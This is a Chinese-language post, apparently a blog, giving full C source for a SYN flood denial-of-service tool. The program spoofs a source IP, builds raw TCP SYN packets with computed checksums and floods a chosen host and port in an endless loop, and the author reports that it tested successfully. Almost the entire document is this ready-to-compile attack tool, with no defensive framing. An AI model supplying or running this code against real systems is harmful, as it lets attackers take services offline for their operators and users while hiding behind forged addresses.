C语言实现基于SYN洪泛的DoS攻击

这是一个C语言程序，实现的功能是基于SYN的DoS攻击。其中，启动传入参数第一个是伪造源地址，第二个是目的地址，第三个是目的端口号。

#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
unsigned short DoS_cksum(unsigned short *ptr, int nbytes);
int syn();
void stopsyn(int signo);
struct sockaddr_in target;	/* 目的地址 */
struct sockaddr_in pesudo;	/* 伪造的源地址 */
int rawsock;
/* CRC16循环冗余校验函数 */
unsigned short DoS_cksum(unsigned short *addr, int len) {
	int sum = 0;
	unsigned short res = 0;
	/* 计算偶数字节 */
	while (len > 1) {
		sum += *addr++;
		len -= 2;
	}
	/* 如果为奇数,将最后一个字节单独计算
	*	剩余的一个字节为高字节构建一个short类型变量值
	*/
	if (len == 1) {
		*((unsigned char *) (&res)) = *((unsigned char *)
		addr);
		sum += res;
	}
	/* 折叠 */
	sum = (sum >> 16) + (sum & 0xffff);
	sum += (sum >> 16);
	/* 取反 */
	res = ~sum;
	return res;
}
/* 信号处理函数,设置程序退出 */
void stopsyn(int signo) {
	printf("程序终止!\n");
	close(rawsock);
	exit(0);
}
int main(int argc, char *argv[]) {
	if (argc != 4) {
		printf("请输入伪造IP地址，目标IP地址，目标端口号！\n");
		exit(1);
	}
	if (inet_aton(argv[1], &pesudo.sin_addr) == 0) {
		printf("伪造IP地址不正确！\n");
		exit(1);
	}
	if (inet_aton(argv[2], &target.sin_addr) == 0) {
		printf("目的IP地址不正确！\n");
		exit(1);
	}
	target.sin_port = htons(atoi(argv[3]));
	/* 信号处理函数 */
	signal(SIGINT, stopsyn);
	syn();
	exit(0);
}
/* SYN DoS攻击实现函数 */
int syn() {
	/* 报文结构体packet_t，分为IP头部ip、TCP报文头部tcp，数据稍后填充 */
	struct packet_t {
		struct iphdr ip;
		struct tcphdr tcp;
	} packet;
	/* 结构体pseudo_h，伪造头*/
	struct pseudo_h {
		unsigned int source_address;
		unsigned int dest_address;
		unsigned char placeholder;
		unsigned char protocol;
		unsigned short tcp_length;
		struct tcphdr tcp;
	} pseudo_h;
	bzero(&packet, sizeof(packet));
	bzero(&pseudo_h, sizeof(pseudo_h));
	/* 原始套接字SOCK_RAW */
	if ((rawsock = socket
	(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) {
		perror("socket()");
		exit(1);
	}
	packet.tcp.dest = target.sin_port; /* 16位端口 */
	packet.tcp.ack_seq = 0; /* 32位的确认号*/
	packet.tcp.doff = 5; /* 数据偏移 */
	packet.tcp.res1 = 0; /* 保留字段 */
	packet.tcp.urg = 0; /* 紧急偏移有效标志 */
	packet.tcp.ack = 0; /* 确认字段有效标志 */
	packet.tcp.psh = 0; /* Push 标志 */
	packet.tcp.rst = 0; /* Reset 标志 */
	packet.tcp.syn = 1; /* 同步序号标志 */
	packet.tcp.fin = 0; /* 终止发送标志 */
	packet.tcp.window = htons(242); /* 16位窗口 */
	packet.tcp.urg_ptr = 0; /* 16位紧急指针 */
	packet.ip.version = 4; /* 4位版本号 */
	packet.ip.ihl = 5; /* 4位头长度 */
	packet.ip.tos = 0; /* 8位区分长度 */
	packet.ip.tot_len = htons(40); /* 16位总长度 */
	packet.ip.id = getpid(); /* 16位ID标识 */
	packet.ip.frag_off = 0; /* 13位片偏移 */
	packet.ip.ttl = 255; /* 8位生存时间 */
	packet.ip.protocol = IPPROTO_TCP; /* 8位协议标示 */
	packet.ip.check = 0; /* 16位校验和,先填写为0 */
	packet.ip.saddr = pesudo.sin_addr.s_addr; /* 32位源地址*/
	packet.ip.daddr = target.sin_addr.s_addr; /* 32位目的地址*/
	packet.ip.check = DoS_cksum((unsigned short *)&packet.ip, 20);/* 计算IP报文校验和 */
	while (1) {
		/* 设置随机伪造源地址，随机序号 */
		packet.tcp.source = htons(1025 + rand() % 60000);
		packet.tcp.seq = 761013 + rand() % 100000;
		packet.tcp.check = 0;/* 校验和,先填写为0 */
		/* 填充伪造头 */
		pseudo_h.source_address = packet.ip.saddr;
		pseudo_h.dest_address = packet.ip.daddr;
		pseudo_h.placeholder = 0;
		pseudo_h.protocol = IPPROTO_TCP;
		pseudo_h.tcp_length = htons(20);
		/* 填充伪造头到packet_t结构体 */
		bcopy((char *) &packet.tcp, (char *) &pseudo_h.tcp, 20);
		packet.tcp.check = DoS_cksum((unsigned short *)&pseudo_h, 32);/* 计算TCP报文校验和 */
		/* 攻击开始 */
		sendto(rawsock, &packet, 40, 0, (struct sockaddr *) &target,
				sizeof(target));
	}
	return 0;
}

测试成功，需要注意的是在Linux下通过GCC编译，Windows下缺少的包需要自行导入。